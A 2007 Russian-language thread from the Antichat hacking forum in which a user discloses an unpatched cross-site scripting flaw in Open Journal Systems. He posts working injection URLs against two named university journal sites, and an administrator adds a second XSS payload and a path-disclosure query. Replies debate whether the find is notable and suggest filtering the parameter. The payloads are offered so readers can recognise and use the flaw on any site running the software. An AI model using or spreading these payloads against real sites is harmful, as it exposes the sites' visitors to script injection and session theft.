Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
24.03.2007, 20:37
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548
Репутация:
1942
|
|
Xss в Ojs
я нашёл ещё 1 уязвимость в паблик скрипте - которой нету в паблике(уязвимости  )
итак, на этот раз это XSS присутствует в журналах
Open Journal Systems - версию определить неудалось, предполагается что во всех ныне используемых.
http://pkp.sfu.ca/?q=ojs - сайт разработчика
Уязвимость позволяет удаленному пользователю произвести XSS нападение.
Уязвимость существует из-за недостаточной обработки данных в адресной строке.Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценарий в браузере жертвы.
Способ устранения уязвимости не известен в настоящее время.
примеры:
Код:
http://ejournals.library.vanderbilt.edu/ameriquests/rst/rst.php?op=capture_cite&id=21%22%3E%3Cscript%3Ealert(99)%3C/script%3E
и
Код:
http://jqstudies.oise.utoronto.ca/journal/rst/rst.php?op=capture_cite&id=21%22%3E%3Cscript%3Ealert(99)%3C/script%3E
т.е. мы подставляем сразу после id=**свой скрипт и всё
Последний раз редактировалось \6/; 24.03.2007 в 21:11..
|
|
|
24.03.2007, 21:10
|
|
Постоянный
Регистрация: 15.08.2006
Сообщений: 404
Провел на форуме:
3811682
Репутация:
641
|
|
Способ устранения уязвимости не известен в настоящее время.
=) поставить фильтры на эти параметры да и все)
надеюсь отдельные индивидумы увидят что я достаточно активен на форуме!
Ты думаеш после таких вы*бонов тебя возьмут?
У меня о тебе мнение сильно изменилось.
|
|
|
|
24.03.2007, 21:26
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548
Репутация:
1942
|
|
блин..
D=p=ch= Mod= отписал... как ко мне относяца, так и я.
а остальные странные какието констинтин - типо непонравилось? ээ.. так и не должно нравица просто нашёл уязвимость - выложил |
|
|
|
24.03.2007, 21:30
|
|
Постоянный
Регистрация: 15.08.2006
Сообщений: 404
Провел на форуме:
3811682
Репутация:
641
|
|
Я тебе отписал, что это мое мнение.
А эту xss мог и просто выложить туда, где все их кидают и не писать, чтобы тебя заметили...
=) а первый пост, то ты отредактил))
|
|
|
|
24.03.2007, 21:56
|
|
Участник форума
Регистрация: 13.03.2007
Сообщений: 120
Провел на форуме:
1604641
Репутация:
590
|
|
Обычная, обыденная Xssка которой место в топике Xss ,но за старание +))
(имхо)
|
|
|
|
24.03.2007, 22:16
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548
Репутация:
1942
|
|
нет, эта xсs не обыденная - она отличаеца тем, что обыденные просто на сайтах - а эта - я 1 раз нашёл и теперь если вы увидите такой двиг - то сразу сможете знать что в нём есть хсс, и где она.
|
|
|
|
24.03.2007, 22:21
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546
Репутация:
1327
|
|
молодец, +3
|
|
|
|
24.03.2007, 22:26
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548
Репутация:
1942
|
|
спасибо |
|
|
|
24.03.2007, 22:27
|
|
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747
Репутация:
5170
|
|
PHP код:
target/ameriquests/viewarticle.php?id=53%22%3E%3Cscript%3Ealert(/ettee/)%3C/script%3E
раскрытие пути
PHP код:
target/ameriquests/search.php?op=advanced_search&query=%27&query_author=&query_title=&query_date_from_month=&query_date_from_day=&query_date_from_year=&query_date_to_month=&query_date_to_day=&query_date_to_year=&query_discipline=&query_topics=&query_approach=&query_coverage=&query_type=All
|
|
|
|
24.03.2007, 22:40
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548
Репутация:
1942
|
|
Сообщение от ettee
PHP код:
target/ameriquests/viewarticle.php?id=53%22%3E%3Cscript%3Ealert(/ettee/)%3C/script%3E
раскрытие пути
PHP код:
target/ameriquests/search.php?op=advanced_search&query=%27&query_author=&query_title=&query_date_from_month=&query_date_from_day=&query_date_from_year=&query_date_to_month=&query_date_to_day=&query_date_to_year=&query_discipline=&query_topics=&query_approach=&query_coverage=&query_type=All
спасибо за дополнение.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
